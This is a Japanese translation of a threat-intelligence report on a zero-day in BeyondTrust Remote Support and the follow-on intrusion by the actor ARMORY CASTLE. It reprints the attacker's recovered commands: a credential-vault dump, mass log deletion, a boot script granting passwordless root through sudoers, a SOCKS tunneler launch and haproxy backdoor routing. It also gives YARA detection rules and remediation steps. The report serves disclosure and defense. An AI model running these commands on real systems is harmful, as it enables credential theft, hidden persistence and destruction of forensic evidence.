ARMORY CASTLE が BeyondTrust の脆弱性を悪用
Google Threat Intelligence Group
Mandiant
※この投稿は米国時間 2026 年 10 月 16 日に、Google Cloud blog に投稿されたものの抄訳です。
執筆者: Jayson Frost、Bryce Greathouse、Brian Meyer、John Palmisano、Rajesh Rajeshirke、Steve Rasch、John Wolfram
はじめに
BeyondTrust は 10 月 15 日に、BeyondTrust Remote Support(旧 Bomgar)アプライアンスに影響する脆弱性 CVE-2026-102764 を公表しました。BeyondTrust Remote Support は、IT チームがリモート エンドポイントに安全にアクセスしてトラブルシューティングを行うことができる、エンタープライズ向けのセキュアなリモート アクセス ソリューションです。この脆弱性の悪用に成功すると、任意のファイルをアップロードできます。
Mandiant は、インシデント対応において、中国との関連が疑われるサイバースパイ目的の脅威アクターである ARMORY CASTLE(以前は UNC5221 として追跡)が、2026 年 8 月下旬にこの脆弱性をゼロデイとして悪用した証拠を特定しました。このブログ投稿では、ARMORY CASTLE が CVE-2026-102764 を悪用した後、どのように権限を昇格させ、侵害された BeyondTrust Remote Support アプライアンスへの永続的なアクセスを確立したかを説明し、防御に関する実用的なガイダンスを提供します。
ARMORY CASTLE やその他の脅威アクターはこれまで、脆弱性が一般に公表された後に、それを広範囲にわたって日和見的に悪用してきた経緯があるため、組織は脆弱性が明らかになった後に悪用が広がる可能性に備える必要があります。
脆弱性の悪用
Mandiant は、access、syslog、messages、thin-scc、brain、SSL の各ログファイルで、CVE-2026-102764 の悪用の痕跡を特定しました。これらのファイルは、/home ディレクトリを含む LUKS 暗号化パーティションを介してのみアクセスできるものです。影響を受ける組織は、BeyondTrust が提供するセキュリティ パッチを直ちに適用して脆弱性を修復し、BeyondTrust のブログで追加のガイダンスを確認することを強くおすすめします。
侵入後の活動
Mandiant は、ARMORY CASTLE が CVE-2026-102764 の悪用に成功した後、複数の異なる TTP を利用して足がかりを確立し、権限を昇格させ、ラテラル ムーブメントを可能にしたことを確認しています。ARMORY CASTLE は、侵入全体を通じて、BeyondTrust アプライアンスの内部構造に関する深い知識を利用していました。これは、独自の CLI ユーティリティ、起動構成テンプレート、ローカルのリバース プロキシ ルーティングが悪用されたことからわかっています。脅威アクターは、新たに特定されたカスタム マルウェア、SAWFLY ウェブシェル、BARECLAW トンネラーを使用して、BeyondTrust デバイスを操作していました。また、アクセスを維持して検出を回避するために、アプライアンスのログとエンドポイントのアーティファクトを定期的に削除していました。


図 1: ARMORY CASTLE による BeyondTrust 侵害における一連のイベント
ステージング用のウェブシェル
CVE-2026-102764 の悪用に成功した後、ARMORY CASTLE は /app_84304470%2Ephp への POST リクエストを開始しました。Mandiant は、これらの POST リクエストに関連付けられたファイルを復元できませんでした。最初の POST リクエストから約 11 分後に、ウェブ ルートパス /%SITE_SERVICE_ACCOUNT%/ingredi/app/laravel/public/ に SAWFLY ウェブシェルが作成されたことをファイル システムが記録しています。ARMORY CASTLE は、侵入の過程で、環境内の主要な足がかりの一つとして SAWFLY ウェブシェルを利用していました。
SAWFLY ウェブシェル
SAWFLY(mangoapi.php)は、難読化された軽量の PHP ウェブシェルで、カスタムの Base32 トランスポート層と 256 ビットの RC4 ストリーム暗号を使用して、双方向の暗号化された C2 通信を実装します。このウェブシェルは、受信する HTTP POST リクエストで、難読化されたパラメータ _c94mfe の有無を確認します。
パラメータが存在しない場合、スクリプトは直ちに HTTP ステータス「404 見つかりません」(http_response_code(404))を設定し、自動ウェブクローラや脆弱性スキャナを回避するために終了します。_c94mfe パラメータが指定されている場合、ウェブシェルはペイロードを Base32 でデコードし、ハードコードされた 32 バイトの鍵を使用して RC4 で復号してから、結果の PHP コードを @eval() で実行します。評価されたコードから返される null 以外の値は、同じ鍵を使って RC4 で暗号化され、Base32 でエンコードされて、クライアントにエコーバックされます。
SUID ビット権限による権限昇格
SAWFLY ウェブシェルは、サイトのサービス アカウント(権限のないローカル ユーザー)で実行されました。脅威アクターは、権限を昇格させるために、システムシェルの実行可能ファイル(/bin/sh)をファイル /usr/bin/dbus-authd にコピーしました。
その後、脅威アクターはファイルの所有権を root に変更し、Set User ID(SUID)ビットを設定しました。バイナリで SUID 権限が有効になっている場合、コマンドを実行するユーザーではなく、ファイルの所有者(root)の権限で実行されるため、結果的に、ホストシステムへの永続的な root レベルのバックドア アクセスが脅威アクターに許可されました。
ウェブシェルを介して足がかりを確立した後、アクターはウェブ サービス アカウントからアプライアンス ホストの root レベルの制御に昇格しました。これにより、アプライアンスが保存または仲介するすべての認証情報にアクセスし、ファイルを変更できるようになりました。これは、再起動や構成のリセット後も維持されます。
認証情報の収集: BeyondTrust Vault の抽出
Mandiant は、脅威アクターがアプライアンスのネイティブ シークレット管理データベースから認証情報を直接収集しようと試みていたことを確認しました。アクターはその際に /ns/sbin/bt-secrets バイナリを利用していました。これは、BeyondTrust アプライアンスにネイティブの独自の管理コマンドライン インターフェース(CLI)ユーティリティであり、パスワード、API キー、エンドポイント認証情報の管理、保存、取得に使用されているものです。
脅威アクターは、アプライアンスの認証情報 Vault を特定してダンプするために、いくつかの CLI 構文のバリエーションを体系的に繰り返していました。
/ns/sbin/bt-secrets get -p %SITE_SERVICE_ACCOUNT% vault
/ns/sbin/bt-secrets get %SITE_SERVICE_ACCOUNT% vault
/ns/sbin/bt-secrets get vault
図 2: メッセージ ログから復元されたコマンド
脅威アクターは最初に、特定のサイトのサービス アカウント用 Vault を標的にして、そのプロファイル専用に割り当てられたパスワードと鍵を取得しようとしました。
次に、フォールバック コマンドを実行して、グローバルなアプライアンス レベルのパスワード セーフを標的にして、保存されている管理者の認証情報をすべてダンプしました。
そして、/home/bomgar/log/bt-secrets.log に保存されたレコードとアーカイブ ファイルを強制的に削除して、bt-secrets バイナリとのやり取りを終了しました。
/usr/sbin/sh -c 'rm -f /home/bomgar/log/bt-secrets.log /home/bomgar/log/bt-secrets.log.* 2>/dev/null;'
図 3: メッセージ ログから復元されたコマンド
永続性
Mandiant は、脅威アクターが長期的な永続アクセスを目的として、BeyondTrust 構成テンプレートを標的にし、サイトのサービス アカウントにパスワードなしの root 権限を付与したことを確認しました。
脅威アクターは最初に /home/bomgar/sbin/post_boot.d ディレクトリを作成しました。このディレクトリは、システム起動時に自動的に実行されるスクリプト用に予約されているものです。このディレクトリ内に、zz-root-persist という名前のシェル スクリプトを作成しました。
zz-root-persist スクリプトの内容を見ると、まず /ns/config/sudoers.template ファイル内で、ユーザー アカウントにパスワードなしの root 権限がすでに付与されているかどうかを確認しています。エントリがない場合、スクリプトは '%SITE_SERVICE_ACCOUNT% ALL=(ALL) NOPASSWD: ALL' をテンプレートに追加します。sudoers テンプレートに追加されたこのエントリにより、サイトのユーザー アカウントに、ホストシステムで任意のコマンドを実行するためのパスワードなしの管理者権限が付与されます。
最後に、スクリプトは '/ns/sbin/bt-sysconfig' --no-restart misc を実行します。これは、アプライアンスのバックエンドに、/ns/config/sudoers.template を直ちに解析して、アクティブな /etc/sudoers ファイルを再構築するよう強制するものです。この戦略により、脅威アクターの権限昇格は、システムの再起動や構成のリセット後も維持されます。通常、システムの再起動や構成のリセットを行うと、/etc/sudoers に直接加えられた手動の変更は上書きされます。
#!/bin/bash
grep -qF '%SITE_SERVICE_ACCOUNT% ALL=(ALL) NOPASSWD: ALL' '/ns/config/sudoers.template' || echo '%SITE_SERVICE_ACCOUNT% ALL=(ALL) NOPASSWD: ALL' >> '/ns/config/sudoers.template'
'/ns/sbin/bt-sysconfig' --no-restart misc
図 4: zz-root-persist の内容
フォレンジック対策
Mandiant は、脅威アクターがアプライアンスへの不正アクセスを通じて、システム、ウェブサーバー、アプリケーション レベルのログを体系的に削除することで、防御を損ない、検出を妨げようとした複数のケースを確認しました。
脅威アクターは、SAWFLY ウェブシェルから、昇格した sudo 権限を使用して次のコマンドを実行し、ホストとサイト固有のディレクトリの両方でアクティビティ ログを削除しました。
'rm -f \'/ns/log/auth.log\' \'/ns/log/ssl.log\' \'/ns/log/proto-handler.log\' \'/ns/log/bt-docker.log\' \'/ns/log/http-access.log\' \'/ns/log/http-errors.log\' \'/ns/log/php-fpm.log\' \'/ns/log/php-fpm-access.log\' \'/ns/log/php_debug.log\' \'/ns/log/php_web_errors.log\' \'/var/log/messages\' \'/home/%SITE_SERVICE_ACCOUNT%/ingredi/log/httpd_access.log\' \'/home/%SITE_SERVICE_ACCOUNT%/ingredi/log/httpd_error.log\' /tmp/sshauth.*'
図 5: 復元されたコマンド
ラテラル ムーブメント: BeyondTrust 管理者セッションの不正使用
脅威アクターは、BeyondTrust デバイスを侵害した後、BeyondTrust Remote Support アプリケーションにピボットし、不正に入手した管理者の認証情報を使用して偵察を行いました。脅威アクターはまず、管理者アカウントを利用してウェブ管理ポータルにログインしました。
{
"event": "login",
"status": "success",
"target": "web/login",
"who": "[REDACTED_USERNAME] using password",
"who_ip": "[REDACTED_IP]"
}
図 6: BeyondTrust Syslog エントリ
脅威アクターはその後、初期アクセスをテストし、ネイティブの Administrators グループ ポリシーに一時的に参加できることを確認した後、長期的な永続化のために戦略を変更しました。アクターは、侵害したアカウントの権限を直接変更し、ローカルの Jump Item とチームの権限の両方を「No Access」から「Administrator」にアップグレードしました。Jump Item は、Jump Group 内でリモート アクセスを可能にした個々のシステムまたはデバイスであり、管理者がリモート システムへのアクセスを整理、管理できるようにするものです。この構成の変更により、脅威アクターは、アプライアンスの Jump Item リストに登録されているダウンストリーム システムへのリモート セッションを起動する、永続的かつ無制限の権限を取得しました。
{
"event": "user_changed",
"old_username": "[REDACTED]",
"old_permissions:jump_item_role:default:id": 1,
"new_permissions:jump_item_role:default:id": 3,
"old_permissions:jump_item_role:default:name": "No Access",
"new_permissions:jump_item_role:default:name": "Administrator",
"old_permissions:jump_item_role:teams:id": 1,
"new_permissions:jump_item_role:teams:id": 3,
"old_permissions:jump_item_role:teams:name": "No Access",
"new_permissions:jump_item_role:teams:name": "Administrator"
}
図 7: BeyondTrust Syslog エントリ
内部偵察
Mandiant は、脅威アクターが昇格した管理者権限を取得した後、リモート サポート セッションを確立して、内部エンドポイントを標的にしたことを確認しました。
接続が確立されると、脅威アクターはアプライアンスに組み込まれているサポートツールを利用して、ファイル システムへのフルアクセスをリクエストし、取得しました。その後、BeyondTrust Remote Support のネイティブ ファイル転送サービスを利用して、ソフトウェア インベントリなど、ネットワーク偵察に役立つ機密性の高い内部ドキュメントをユーザーのデスクトップ環境から直接ダウンロードして引き出しました。
BARECLAW トンネラー
Mandiant は、脅威アクターがカスタム SOCKS5 プロキシ トンネラーを使用して、BeyondTrust デバイスを通過するトラフィックをトンネリングしたことを確認しました。BARECLAW は C 言語で記述されたトンネラーであり、WebSocket トランスポートを介して運ばれる SOCKS5 プロキシ サービスを提供し、リモート クライアントと宛先間の TCP 接続を中継します。BARECLAW は、静的に埋め込まれた CivetWeb WebServer を利用して HTTP と WebSocket の機能を提供し、TLS に OpenSSL を利用します。BARECLAW は構成可能で、認証を必須とすること、クライアントとトンネラー間のデータを暗号化すること、到達可能な宛先を特定の CIDR の範囲に制限すること、トラフィックをアップストリーム プロキシに転送すること、そしてデフォルトの WebSocket エンドポイントとリスニング ポートを変更することが可能です。TLS は PEM 証明書を提供することで有効になります。認証、暗号化、宛先フィルタリング、TLS はデフォルトで無効になっています。
BARECLAW は CLI 入力から構成を受け取り、CLI オプション メニューを提供します。
Usage: %s [options]
--listen PORT plain ws port (default 8080)
--listen-tls PORT wss port (default 8443, needs --ssl-cert)
--ssl-cert FILE PEM certificate (enables wss)
--token STRING shared secret (?token= auth + obfs seed)
--obfs enable XOR stream obfuscation
--timeout SEC idle timeout (default 300)
--connect-timeout SEC target connect timeout (default 10)
--max-tunnels N concurrent tunnel limit (default 100)
--allow-net CIDR allowed target subnet (repeatable)
--upstream [socks5://]host:port route via upstream SOCKS5
--threads N civetweb worker threads (default 64)
--ws-path PATH websocket endpoint path (default /wsproxy)
-q, --quiet zero output (all logging suppressed)
-h this help
図 8: BARECLAW の CLI オプション メニュー
脅威アクターは、次のコマンドライン引数を使用して BARECLAW を実行しました。
/tmp/ingredi_ws --listen 19800 --token %REDACTED% --obfs -q --ws-path /uidchanarge
図 9: BARECLAW の全コマンドライン引数
このコマンドラインは、TCP ポート 19800 でリッスンし、被害者のシステムに WebSocket エンドポイント /uidchanarge を作成するよう BARECLAW を構成しています。また、コマンドライン引数で指定するトークンを認証に使用することをクライアントに求め、-q 引数でトンネラーのロギングを抑制しています。トンネリングされたデータは、そのトークンと、セッションの開始時にクライアントから提供された 8 バイトの値から導出された XOR ベースのルーチンで暗号化されます。CLI オプションに --ssl-cert と --listen-tls の引数がないということは、この特定のインスタンスで TLS が有効になっていなかったことを意味します。
Haproxy.conf の変更
Mandiant は、脅威アクターが BARECLAW トンネラーを作成しただけでなく、BARECLAW にインターネットから直接アクセスできるように /ns/config/haproxy.conf ファイルを変更したことも確認しました。BeyondTrust デバイスで動作する HAProxy サービスは、デバイスのリバース プロキシとして機能し、BeyondTrust サーバーに代わって受信リクエストを受け入れ、リクエストのポートまたは URL パスに基づいて、ローカル システムで実行されている適切なバックエンド サービス(ウェブ インターフェース、管理ポータル、アプリケーション ゲートウェイなど)にリクエストを転送するものです。
haproxy.conf ファイルは、BeyondTrust アプライアンスが受信トラフィックを処理、ルーティング、保護する方法を指示する、主要な構成ファイルです。脅威アクターが変更した内容として、まず、特定の URI パス /uidchanarge への受信トラフィックをモニタリングする、wswsws という名前のアクセス制御リスト(ACL)が確立されました。このパスに一致するリクエストが検出されると、HAProxy は通常のアプライアンス ウェブサービスをバイパスし、webskd3 というカスタム バックエンドにトラフィックをルーティングします。
acl wswsws path /uidchanarge
use_backend webskd3 if wswsws
図 10: haproxy.conf における ACL の変更
次に、webskd3 バックエンドが、受信したウェブ ストリームをローカル(127.0.0.1 / localhost)で TCP ポート 19800 にルーティングします。このポートでは、BARECLAW ユーティリティがアクティブにリッスンしています。このローカル専用バインディングにより、バックドア リスナーは HAProxy のローカル リダイレクトを介して内部からのみアクセスできるため、外部ネットワーク スキャンから完全に隠蔽されます。
backend webskd3
mode http
server websocks5srv 127.0.0.1:19800
option http-keep-alive
timeout server 28s
timeout tunnel 5h
図 11: haproxy.conf におけるバックエンド ルートの変更
アトリビューション
GTIG は、CVE-2026-102764 のゼロデイ攻撃と、それに続く SAWFLY および BARECLAW のデプロイを、中国との関連が疑われるサイバースパイ アクター ARMORY CASTLE(以前は UNC5221 として追跡)によるものと特定しています。この侵入で使用されたツールと TTP は、以前に確認された ARMORY CASTLE の活動と一致しています。
GTIG は以前、ARMORY CASTLE がエッジ アプライアンスの複数の脆弱性を悪用し、パッシブ バックドアやウェブシェルからエッジデバイスのトロイの木馬化されたコンポーネントまで、目的をサポートする広範なカスタムツールのスイートをデプロイしていることを報告しました。ARMORY CASTLE は 2023 年 10 月から活動しており、これまでにさまざまな国や業種を標的にしてきました。
見通しと影響
ARMORY CASTLE は、過去のキャンペーンで、ゼロデイとして選択的に悪用していた脆弱性が公表された後、それを広範囲にわたって日和見的に悪用し、パッチが適用される前に標的組織に侵入しようとしました。そのため、CVE-2026-102764 に関しても、同様の広範な悪用の試みが確認される可能性があります。
GTIG は、ARMORY CASTLE がサイバースパイの目的を達成するために、今後もエッジデバイスのゼロデイ脆弱性を利用して環境へのアクセスを獲得し続けると高い確信を持って評価しています。防御側は、CVE-2026-102764 の公表後にも、2024 年の CVE-2023-46805 と CVE-2024-21887 の公表後に GTIG が確認したものと同様の広範な悪用を ARMORY CASTLE が行う可能性に備える必要があります。
修復とセキュリティ強化
BT26-05 パッチをまだ適用していない組織は、直ちに影響とリスクを評価し、BeyondTrust のブログに記載されている追加のガイダンスを確認する必要があります。CVE-2026-102764 は、サポートされているすべての Remote Support バージョン(26.2.3 まで)に影響します。認証されていないリモート攻撃者がアプライアンス上でファイル操作を実行できるため、ホストレベルの制御や、アプライアンスが保存または仲介するすべての認証情報へのアクセスにつながる可能性があります。脆弱性のあるバージョンで、悪用が可能な期間中にインターネットからアクセス可能だったアプライアンスは、確認が完了するまで、侵害された可能性があるものとして扱う必要があります。Mandiant は、封じ込めとサポート対応の中断のバランスを取りながら、パッチ適用を優先する段階的なアプローチを推奨しています。
即時の緩和
組織は、リスク許容度、侵害の証拠、運用上のニーズに基づいて、次のオプションから選択する必要があります。
オプション 1: BT26-05 パッチを適用する(Mandiant 推奨)
-
Remote Support SaaS: 2026 年 10 月 9 日に、BeyondTrust がすべての SaaS テナントにパッチを適用済みです。アプライアンス自体について、お客様による対応は必要ありません。ただし、オプション 3 の認証情報と構成の手順は依然必要です。
-
セルフホスト型、バージョン 24.3.1 以降:
/applianceインターフェースから BT26-05-RS パッチを適用するか、アプライアンスが自動更新に登録されている場合は、パッチが自動的に適用されたことを確認します。 -
セルフホスト型、24.3.1 より前のバージョン: サポート対象のバージョンにアップグレードしてから、パッチを適用します。アップグレードすると脆弱性は解消されますが、それ以前に受けた影響は修復されません。
-
/applianceにパッチが表示されない場合は、BT26-05 を指定して BeyondTrust サポートにケースを登録してください。
オプション 2: 侵害された、または侵害が疑われるアプライアンスを隔離する
-
対応前に保存する: 変更や再起動を行う前に、メモリを含む仮想アプライアンスのスナップショットを作成し、ディスクをエクスポートします。B シリーズのハードウェアと SaaS テナントの場合は、BeyondTrust サポートを通じてフォレンジック保存をリクエストしてください。ホストにアクセスできる攻撃者はアプライアンス上のログを削除できるため、脆弱性がインターネットに露出していた期間中の syslog、リバース プロキシまたは WAF、境界ファイアウォールのログを収集します。Mandiant は、アクターがインシデント期間中のログを削除していたことを確認しています。
-
境界で隔離する: アプライアンスのパブリック アドレスへのインバウンド トラフィックは、
/applianceではなくファイアウォールでブロックします。これにより、構成はそのまま残り、後で確認できます。 -
外向きトラフィックを制限する: BeyondTrust のアップデートとライセンスのエンドポイントへのトラフィックを除き、アウトバウンド トラフィックを拒否し、拒否されたすべての接続をログに記録します。
-
アクセスパスを終了する:
/loginから、アクティブなサポート セッションを終了し、新しいセッション、Jump Client、Jumpoint、API アカウントを無効にします。削除ではなく無効化することで、監査証跡が残ります。 -
クリーンアップではなく再構築する: 侵害が確認された、または侵害ステータスが不明なアプライアンスを、完全にパッチが適用されたクリーンなイメージから再デプロイします。お客様はアプライアンスのホスト ファイル システムを監査できません。また、ホストレベルの永続性は再起動や構成のリセット後も維持されます。露出期間より前の日付の構成バックアップのみを復元するか、隔離された状態で最新のバックアップを復元し、オプション 3、パート B の確認を完了してから、再接続します。新しい TLS 証明書を発行し、再構築したアプライアンスから Jump Client、Jumpoint、担当者向けコンソールを再デプロイします。
注: 隔離やセッションの終了を行うと、サポート対応が中断されます。組織は、続行する前にヘルプデスクやベンダー サポートの関係者と調整を行う必要があります。
オプション 3: ターゲットを絞った補完的な制御を適用する
以下の制御により、露出を減らし、侵害後の影響を制限できます。これらはパッチの代わりにはなりません。
パート A: ネットワークの制限
-
アプライアンス レベルで、IP またはネットワーク セグメントによって管理インターフェース
/loginと/applianceへのアクセスを制限します。インターネットからアクセスできるのは、担当者向けコンソール、カスタマー ポータル、Jump Client のトラフィックのみにする必要があります。 -
運用上可能な場合は、アプライアンスの前に完全な URI ロギングを備えたリバース プロキシまたは WAF を配置して、アプライアンスが変更できないリクエストパスの記録をとります。
パート B: 認証情報のローテーションと構成の確認
-
セッションと登録を取り消す: すべてのアクティブなサポート セッションを終了し、パッチ適用済みまたは再構築済みのアプライアンスから Jump Client、Jumpoint、担当者向けコンソールを再デプロイして、既存のトークンを無効にします。
-
依存関係の順に認証情報をローテーションする:
/appliance管理者の認証情報、/login 管理者とローカル ユーザー、API クライアント シークレット、セキュリティ プロバイダのバインド アカウントと SAML 署名鍵、Remote Support Vault と統合された Password Safe または Privileged Remote Access(PRA)認証情報(ターゲット システムでローテーション)、統合認証情報(SMTP、syslog、情報技術サービス管理(ITSM)コネクタ、アウトバウンド イベントのシークレット)、期間中にサポート セッションに入力された認証情報。 -
/login 構成を対象期間前のベースラインに照らして確認する: ユーザーとロールの変更、特に管理者権限に昇格された Jump Item ロール、グループとセッションのポリシー、API アカウント、セキュリティ プロバイダ、Jump Item と Jumpoint、アウトバウンド イベントまたは syslog の宛先。変更記録や所有者名のないものはすべて削除します。
-
サポート セッションのレポートを確認する: ファイル転送を含む期間中のレポートを確認し、どのエンドポイントにアクセスされ、何が残されたかを特定します。アクセスされたすべてのエンドポイントが、ダウンストリーム ハンティングの対象となります。
注: 認証情報のローテーションは、アプライアンスのパッチ適用か再構築の後で行ってください。それより前にローテーションを行うと、新しい認証情報が、アプライアンスをまだ制御している攻撃者に開示されます。
パート C: コントロール プレーンの制限
-
すべての
/loginユーザーに、フィッシング耐性のある MFA を使用した SAML シングル サインオンを必須とします。また、ローカル アカウントは、Vault に保存され、使用時にアラートが発生する、ブレークグラス アカウント 1 つを除いて削除します。 -
組み込みの管理者アカウントについては、公式の BeyondTrust 2 要素認証ガイドラインに沿って多要素認証(MFA)が構成されていることを確認します。
-
すべてのグループ ポリシーで、Jump Item のデフォルトのロールを「No Access」(アクセスなし)に設定し、ユーザーごとではなくポリシーを通じてロールを付与します。
-
API アカウントのスコープを最小限の権限セットに設定し、ユーザーまたは Jump Item の管理権限を持つアカウントには自動化の所有者を指名します。また、API シークレットはスケジュールに沿ってローテーションします。
-
特権認証情報は、Remote Support Vault ではなく、認証情報インジェクションを使用する Password Safe または外部 Vault に保管します。アプライアンスには、非対話型サービス アカウントの認証情報のみを保存します。
-
アプライアンスからのアウトバウンド トラフィックにデフォルト拒否のフィルタリングを適用し、BeyondTrust のエンドポイントおよび組織独自の syslog サーバーとディレクトリ サーバーのみを許可します。
パート D: ロギングと検出エンジニアリング
ロギングと可視性
-
アプライアンスの syslog を TLS 経由で SIEM に転送し、数か月にわたる露出期間をカバーする保持期間を設定します。また、アプライアンスのアドレスのリバース プロキシまたは WAF と境界ファイアウォールのログを収集します。
-
/loginセッション、チーム アクティビティ、ユーザー監査レポートをスケジュールに沿ってエクスポートします。
検出エンジニアリング
-
アカウントとポリシーの変更: Jump Item またはチームロールを昇格させる
user_changedイベント、変更チケットのないuser_addedイベント、api_accountイベント、security_providerイベント、アウトバウンド イベントまたは syslog 宛先の変更。 -
認証: 家庭向けブロードバンドまたは商用 VPN アドレス空間からの
/loginの成功、営業時間外の管理者ログイン。 -
セッション アクティビティ: ファイル転送イベント、対象期間中にロールが変更されたアカウントによって開始されたセッション。
-
リクエストパス: リバース プロキシまたは WAF で、Remote Support の既知のパスセット外のパス(不明な .php パス、サポート スタッフやエンドポイントのアドレス範囲外からの WebSocket アップグレードなど)。
-
フォレンジック対策: アプライアンスからの syslog 転送におけるギャップ。1 つのセッションに限定された中断は、ログの改ざんを強く示唆します。
セキュリティ侵害インジケーター(IoC)
このブログ投稿で説明した活動の検出と特定に役立てていただくため、登録ユーザー向けの GTI コレクションにセキュリティ侵害インジケーター(IoC)を含めました。
ファイル インジケーター
検出
YARA ルール
rule G_Hunting_Webshell_SAWFLY_1 {
meta:
author = "Google Threat Intelligence Group"
strings:
$b32 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" ascii wide
$rc4 = "range(0,255)" ascii wide
$pack = "pack('H*'," ascii wide
$eval = "@eval(" ascii wide
$code404 = "http_response_code(404)" ascii wide
condition:
filesize < 20KB and
all of them
}rule G_Hunting_Backdoor_BARECLAW_1 {
meta:
author = "Google Threat Intelligence Group"
strings:
$s1 = "[%s ws_socks5d] " ascii wide
$s2 = "--obfs requires --token" ascii wide
$s3 = "mux: %s (frame[%lu]: %s)" ascii wide
$s4 = "cannot create stream pump/writer thread (stream %d)" ascii wide
$s5 = "reject: bad or missing token from %s" ascii wide
$s6 = "listening on %s path=%s (token=%s obfs=%s max_tunnels=%d threads=%d)" ascii wide
$s7 = "--ws-path must start with '/'" ascii wide
$b_xorshift = { 48 c1 e0 17 48 31 c1 48 89 f0 48 c1 e8 1a 48 31 f0 48 31 c8 48 c1 e9 11 48 31 c8 }
condition:
uint32(0) == 0x464c457f and (5 of ($s*)) or ($b_xorshift and (3 of ($s*)))
}Google Security Operations(SecOps)
Google SecOps をご利用のお客様は、Mandiant Hunting、Mandiant Frontline Threats、Mandiant Intel Emerging Threats の各ルールパックで、これらの幅広いカテゴリのルールやその他のルールをご利用いただけます。このブログ投稿で取り上げた活動は、Google SecOps において以下のルール名で検出されています。
-
Echo Pipes Base64 To Shell
-
Base64 Encoded Shell Command Execution
-
Low Severity Endpoint Detection Cluster on Host
-
Suspicious Curl Download to tmp
-
Suspicious Curl Network Connection to Staging Directory
謝辞
この脅威への対応における BeyondTrust のご協力に感謝いたします。
- Google Threat Intelligence Group
- Mandiant

